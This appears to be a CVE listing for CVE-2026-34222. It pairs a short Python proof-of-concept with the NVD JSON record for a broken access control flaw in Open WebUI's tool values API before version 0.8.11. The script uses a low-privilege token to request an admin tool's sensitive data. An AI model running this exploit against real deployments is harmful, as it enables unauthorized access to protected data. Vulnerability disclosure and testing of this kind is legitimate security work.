CVE-2026-34222

import requests # Target URL (example) target_url = "http://target-open-webui/api/tools/values" # Attacker's low-privilege token headers = { "Authorization": "Bearer LOW_PRIVILEGE_TOKEN", "Content-Type": "application/json" } # Payload attempting to access protected tool values payload = { "tool_id": "admin_sensitive_tool", "value_id": "target_sensitive_data" } try: # Send request to exploit broken access control response = requests.get(target_url, headers=headers, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Data leaked:") print(response.text) else: print("[-] Exploit failed or patched.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-34222", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:29.850", "lastModified": "2026-04-15T15:25:35.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.11, there is a broken access control vulnerability in tool values. This issue has been patched in version 0.8.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.8.11", "matchCriteriaId": "5075875A-B6AB-4CC6-BA97-9C1D7E130C20"}]}]}], "references": [{"url": "https://github.com/open-webui/open-webui/releases/tag/v0.8.11", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://seclists.org/fulldisclosure/2026/Apr/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Exploit", "Third Party Advisory"]}]}}